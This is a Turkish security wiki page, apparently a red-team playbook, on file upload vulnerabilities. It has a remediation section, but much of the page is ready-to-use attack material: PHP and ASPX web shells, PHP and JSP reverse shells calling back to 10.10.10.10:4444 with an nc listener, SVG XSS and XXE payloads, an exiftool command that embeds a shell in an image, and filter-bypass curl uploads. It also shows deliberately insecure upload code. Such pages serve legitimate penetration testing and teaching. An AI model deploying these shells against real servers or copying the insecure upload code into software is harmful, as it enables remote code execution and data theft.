AltaySec Wiki File Upload Vulnerabilities   ·   AltaySec Araştırmalar

File Upload Vulnerabilities

root@altaysec:~# whoami
> Yazar: İlknur Şeyma Uzun

Dosya yükleme zafiyetleri (File Upload Vulnerabilities), modern web uygulamalarının en kritik ve stratejik zayıf noktalarından biridir. İster bir profil fotoğrafı (Avatar), ister bir e-ticaret platformunda fatura PDF'i, isterse bulut tabanlı bir depolama servisine yüklenen bir yedek dosyası olsun; dışarıdan sunucuya kontrolsüz veri transferi, Red Team operasyonlarında "Initial Access" (İlk Erişim) ve "Remote Code Execution" (RCE - Uzaktan Kod Çalıştırma) elde etmek için en verimli vektördür.

Modern mimarilerde bu zafiyet sadece basit bir .php yüklemekten ibaret değildir. Yanlış yapılandırılmış bir yükleme mekanizması; Cross-Site Scripting (XSS), XML External Entity (XXE), Server-Side Request Forgery (SSRF), Local File Inclusion (LFI) ve hatta hafıza tabanlı (Memory-based) zafiyetler olan Buffer Overflow veya Image Parsing (örn. ImageMagick) açıklarına kadar geniş bir saldırı yüzeyi sunar. Saldırganın sunucu dosya sistemine doğrudan müdahale etmesi, sistemin bütünselliğini tamamen ortadan kaldırır.

How It Works (Teknik Analiz)

Web protokolleri düzeyinde (RFC 7578), dosya yükleme işlemleri genellikle HTTP POST istekleri içerisinde multipart/form-data içerik tipiyle gerçekleştirilir. Sunucuya ulaşan veri bir "Boundary" (Sınır) dizesiyle parçalara ayrılır.

Sunucu tarafındaki süreç (örneğin Linux/PHP mimarisinde) düşük seviyede şu şekilde işler:

  1. HTTP isteği web sunucusuna (Apache/Nginx) ulaşır.
  2. Web sunucusu, dosya verisini işletim sisteminin geçici bir dizinine (genellikle /tmp/phpXXXXXX) yazar. Bu noktada veri geçici olarak bellekte (RAM) arabelleğe alınabilir veya doğrudan diske aktarılabilir.
  3. Arka uç uygulama (Backend - PHP/Node.js/Java), bu geçici dosyayı alır, belirli doğrulama adımlarından (varsa) geçirir ve işletim sistemi I/O (Input/Output) sistem çağrılarını kullanarak nihai varış noktasına (örneğin /var/www/html/uploads/) taşır (move_uploaded_file() fonksiyonu gibi).

Zafiyetin kök nedeni (Root Cause), kullanıcı tarafından sağlanan "Metadata" (dosya adı, uzantı, MIME tipi) veya "Payload" (dosya içeriği) unsurlarının sunucu tarafından kesin bir gerçek (absolute truth) olarak kabul edilmesidir. Uygulama, dosyanın tipini MIME (Örn: image/jpeg) veya uzantı (Örn: .jpg) üzerinden doğrulamaya çalışırsa, bu veriler HTTP isteğinde saldırgan tarafından kolayca manipüle edilebilir. Ayrıca, uygulama motoru (Zend Engine, V8 vb.) hedef dizindeki dosyanın bir script (betik) olarak parse edilip (AST - Abstract Syntax Tree üzerinde) yorumlanmasına izin veriyorsa, RCE kaçınılmazdır.

Vulnerable Code Patterns

Aşağıda farklı dillerde yaygın olarak yapılan hatalı kodlama pratikleri (Anti-Patterns) gösterilmiştir.

PHP (Doğrudan Taşıma ve Uzantı Güveni)

<?php
// GÜVENSİZ: Kullanıcının gönderdiği dosya adını doğrudan kabul eder ve kontrol yapmaz.
$target_dir = "/var/www/html/uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

// Hiçbir MIME, Magic Number veya Extension kontrolü yok.
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "Dosya yüklendi: " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"]));
} else {
    echo "Hata oluştu.";
}
?>

Hata: basename() sadece yol (path) manipülasyonunu engeller. Ancak shell.php gibi bir dosya adı doğrudan kabul edilir. Sunucu bu dizinde .php çalıştırmaya izin veriyorsa, saldırgan RCE elde eder.

Node.js (Express-FileUpload Zafiyeti)

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload());

app.post('/upload', function(req, res) {
  let sampleFile = req.files.sampleFile;
  // GÜVENSİZ: Dosya adı kontrol edilmeden doğrudan public dizinine yazılıyor.
  sampleFile.mv('/var/www/html/public/images/' + sampleFile.name, function(err) {
    if (err) return res.status(500).send(err);
    res.send('Yükleme başarılı!');
  });
});

Hata: Node.js sunucularında .php çalışmasa bile, saldırgan ../../ payload'u ile Path Traversal (Dizin Atlatma) yapabilir veya .html yükleyerek DOM-based XSS elde edebilir.

Detection & Enumeration (Keşif ve Analiz)

Hedef sistemde dosya yükleme zafiyetini sömürmeden önce agresif ancak sessiz bir numaralandırma (enumeration) yapılmalıdır. Kara kutu (Black-box) testlerinde amaç, hedefin güvenlik duvarı (WAF), IDS/IPS kuralları ve backend filtreleme mantığını (Error/Time-based çıkarımlar yoluyla) çözmektir.

Manuel Keşif Adımları:

  1. İstemci Tarafı Kontrolleri (Client-Side Profiling): DOM ağacı incelenir. <input type="file" accept=".jpg, .png"> gibi alanlar var mı? Geliştirici konsolunda form gönderimini yakalayan bir JavaScript Event Listener (örn: onsubmit="return checkFile();") var mı?
  2. Davranışsal Analiz: Standart, zararsız bir test.jpg yüklenir. Sunucunun yanıtı incelenir. Dosya yeniden adlandırılıyor mu (örn: [timestamp]_test.jpg)? Sunucu yüklenen dosyanın yolunu döndürüyor mu?
  3. MIME & Extension Fuzzing: Geçerli bir dosyanın uzantısı .pHp veya MIME tipi application/x-php olarak değiştirilir. Hata mesajının verbose (detaylı) olup olmadığına bakılır.

Fuzzing Komutları (ffuf & Gobuster):

# Olası yükleme dizinlerini keşfetmek (Fuzzing /uploads, /images, /assets)
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ -mc 200,301,403

# Dosya yükleme işleminden sonra, rastgele adlandırılmış dosyayı bulmak için
# (Özellikle PHP/Apache ortamlarında fuzzing)
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://target.com/uploads/FUZZ.php -mc 200

Attack Vectors & Exploitation (İstismar Vektörleri)

Overwriting Existing Files

Eğer uygulama, yüklenen dosyaya benzersiz (unique) bir isim atamıyor ve mevcut izinler de yeterliyse, sunucudaki kritik dosyaların üzerine yazılabilir.

Web Shell Upload (Direct Execution)

Sunucunun arka planda kullandığı dile (PHP, ASP, JSP, Python, Ruby) uygun bir betik yükleyerek doğrudan RCE elde etmektir. Hedef dizin çalıştırılabilir (executable) izinlere sahipse, web sunucusu (Apache, Nginx vb.) dosyayı bir web sayfası gibi sunmak yerine betik motoruna (PHP-FPM vb.) gönderir.

Reverse Shell Upload (Interactive Shell)

Web Shell'in yetersiz kaldığı durumlarda (WAF'ın HTTP yanıtlarındaki çıktıları engellemesi vb.) hedef sunucunun saldırganın makinesine TCP/UDP üzerinden aktif bir bağlantı açmasını sağlamaktır.

XSS & CSRF via File Upload (DOM & HTML Exploitation)

Eğer sunucu sadece .html veya .svg gibi dosyalara izin veriyor ancak script çalıştırılmasına (.php) izin vermiyorsa, XSS (Cross-Site Scripting) vektörü kullanılabilir.

XXE via File Upload (XML External Entity)

SVG, DOCX, XLSX veya PDF gibi iç yapısında XML barındıran formatların yüklenmesi durumunda, sunucunun XML parser'ı zafiyetliyse XXE tetiklenebilir.

LFI & Path Traversal via Upload

Dosya adı parametresinin (Filename parameter) kontrol edilmemesinden kaynaklanır. Dosyanın kendisi zararlı olmayabilir, ancak kaydedildiği "yer" zararlıdır.

Payloads & Advanced Commands

PHP Payloads (Web Shells)

// Basic GET Parameter Web Shell
<?php system($_GET["cmd"]); ?>

// Bypassing Disable_Functions (Using exec)
<?php exec($_GET["cmd"], $out); print_r($out); ?>

// Tiny PHP Shell (Short Open Tags - Bypass strict syntax filters)
<?=`$_GET[0]`?>

// In-Memory PHP Shell (Using file_get_contents & eval)
<?php eval(file_get_contents('php://input')); ?>
// (Usage: curl -X POST -d "system('whoami');" http://target/uploads/shell.php)

Reverse Shell Payloads

# Listener (Saldırgan Makinesi)
rlwrap nc -lvnp 4444
// PHP Reverse Shell (PentestMonkey Alternatifi, daha kısa)
<?php
$sock=fsockopen("10.10.10.10",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
// JSP Reverse Shell (Tomcat / Java Environments)
<%
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});
%>
// ASPX Web Shell (IIS / Windows Environments)
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="Diagnostics" %>
<script runat="server">      
Sub RunCmd(Src As Object, E As EventArgs)            
  Dim myProcess As New Process()            
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  myProcessStartInfo.UseShellExecute = false            
  myProcessStartInfo.RedirectStandardOutput = true            
  myProcess.StartInfo = myProcessStartInfo            
  myProcessStartInfo.Arguments=xcmd.text            
  myProcess.Start()            
  Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  Dim myString As String = myStreamReader.Readtoend()            
  myProcess.Close()            
  mystring=mystring.replace("<","&lt;")            
  mystring=mystring.replace(">","&gt;")            
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
End Sub
</script>
<html><body><form runat="server">
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c whoami"></asp:TextBox>
<asp:Button id="Button" onclick="RunCmd" runat="server" Text="Run"></asp:Button>
<asp:Label id="result" runat="server"></asp:Label>
</form></body></html>

XSS and XXE via SVG Payloads

<?xml version="1.0" standalone="no"?>
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.cookie);
  </script>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg">
    <text x="10" y="20">&xxe;</text>
</svg>

Image Metadata (Exif) Injector Payloads (Polyglots)

Eğer sunucu dosya içeriğini (getimagesize() vb. ile) sıkı bir şekilde kontrol ediyorsa, meşru bir görselin metadata kısmına PHP kodu gömülür.

# Exiftool kullanarak meşru bir görselin "DocumentName" veya "Comment" alanına shell enjekte etmek
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" meşru_resim.jpg
# Sonrasında isim 'meşru_resim.jpg.php' olarak değiştirilerek yüklenir.

Bypass & Obfuscation (Atlatma Teknikleri)

İstemci Taraflı Filtreleri Atlatma (Client-Side Bypass)

Filtre mekanizması JavaScript ile tarayıcı tarafında yapılıyorsa atlatmak son derece basittir:

  1. Tarayıcı Ayarları: Tarayıcıdan JavaScript tamamen devre dışı bırakılır (NoScript eklentisi veya DevTools üzerinden).
  2. DOM Manipülasyonu: Geliştirici konsolu (F12) açılarak accept parametresi <input type="file" accept="*"> olarak değiştirilir veya validasyon fonksiyonları silinir.
  3. Burp Suite Interception: Meşru bir dosya (örneğin .jpg) yükleme formu üzerinden seçilir. Burp Suite ile POST isteği yakalanır (Intercept). İstek sunucuya gitmeden önce dosya adı shell.php ve içeriği zararlı kod ile değiştirilir.
  4. cURL ile Direkt POST: Web arayüzü tamamen es geçilerek doğrudan API/Endpoint hedeflenir.
    curl -X POST -F "image=@shell.php" http://target.com/upload_endpoint
    

Uzantı Kara Liste (Blacklist) Atlatma

Eğer sunucu sadece .php gibi belirli uzantıları engelliyorsa, alternatif veya eski uzantılar kullanılabilir. Sunucu yapılandırmasındaki regex eksikliklerinden faydalanılır.

Uzantı Beyaz Liste (Whitelist) ve Double Extension Atlatma

Eğer sunucu sadece .jpg, .png kabul ediyorsa, uygulama kodunun dosya uzantısını nasıl ayrıştırdığı (parse ettiği) sömürülür.

MIME Type (Content-Type) Spoofing

Uygulama sadece isteğin başlığındaki (Header) Content-Type değerine bakıyorsa, istek Burp Suite ile yakalanıp manipüle edilir.

Magic Number (File Signature) Spoofing

Filtreleme mekanizması dosyanın içeriğini okuyup, gerçekten iddia ettiği dosya türü olup olmadığını kontrol ediyorsa (örn. Linux file komutu mantığı), dosyanın ilk byte'ları (Header/Sihirli Sayılar) manipüle edilmelidir.

Bir PHP shell'inin en başına şu Hex değerleri / karakterler eklenerek filtre aldatılır:

.htaccess ve .user.ini Manipülasyonu

Eğer sunucu hiçbir şekilde .php çalışmasına izin vermiyorsa, sunucu yapılandırma dosyaları yüklenerek klasörün davranış kuralları değiştirilir.

Remediation & Prevention (Önleme ve Savunma)

Dosya yükleme zafiyetlerini tamamen ortadan kaldırmak için (Defense in Depth) çok katmanlı bir yaklaşım benimsenmelidir:

  1. Strict Extension Whitelisting: Kesinlikle sadece beklenen uzantılara izin verilmeli. Düzenli ifadeler (Regex) ile dosya adının sonuna tam eşleşme aranmalıdır (/\.(jpg|jpeg|png)$/i).
  2. MIME ve Magic Number Doğrulaması: Dosya sadece uzantısından değil, aynı anda sunucu tarafında içerik analiz kütüphaneleri (örn. PHP'de finfo_file, Java'da Apache Tika) kullanılarak doğrulanmalıdır.
  3. Rastgele Dosya İsimlendirme: Yüklenen dosyaların orijinal isimleri ASLA korunmamalıdır. Sunucu tarafında UUID veya SHA-256 hash kullanılarak yeniden adlandırılmalıdır (Örn: 550e8400-e29b-41d4-a716-446655440000.png).
  4. Execute (Çalıştırma) İzinlerinin Kaldırılması: Yüklenen dosyaların barındırıldığı dizinde betik dillerinin (PHP, Node.js) çalıştırılması (Execution) web sunucusu (Nginx/Apache) seviyesinde engellenmelidir.
    • Nginx Örneği:
      location /uploads/ {
          php_admin_flag engine off;
          # veya
          location ~ \.php$ {
              deny all;
          }
      }
      
  5. Dışarıda Barındırma (Off-site Storage): Yüklenen dosyalar ana uygulama sunucusunda değil, Amazon S3, Azure Blob Storage veya tamamen ayrı bir cdn (Content Delivery Network) sunucusunda barındırılmalıdır.
  6. Zararlı Yazılım Taraması: Yüklenen dosyalar diske veya S3'e yazılmadan önce ClamAV gibi bir Anti-Virüs veya Sandbox mekanizması üzerinden geçirilmelidir.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Suite Proxy üzerinden HTTP request modifikasyonu (MIME, Null Byte, İsim değiştirme). (GUI tabanlı kullanım)
ffuf Fuzzing ile gizli upload dizinlerini ve izin verilen uzantıları tespit etme. ffuf -w wordlist.txt -u http://target/uploads/FUZZ.php -mc 200
ExifTool Meşru görsellerin EXIF/Metadata kısımlarına zararlı Payload (Polyglot) gömme. exiftool -Comment="<?php system(\$_GET['cmd']); ?>" img.jpg
curl Client-side filtreleri aşmak için HTTP POST isteklerini doğrudan terminalden atma. curl -X POST -F "file=@shell.php" http://target/upload
hexeditor Dosya imzalarını (Magic Numbers) manuel olarak manipüle etme. hexeditor shell.php
PentestMonkey Reverse shell komutları ve betikleri koleksiyonu (Özellikle PHP/Perl tabanlı). (Payload kopyalama)

Yazar: İlknur Şeyma Uzun · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv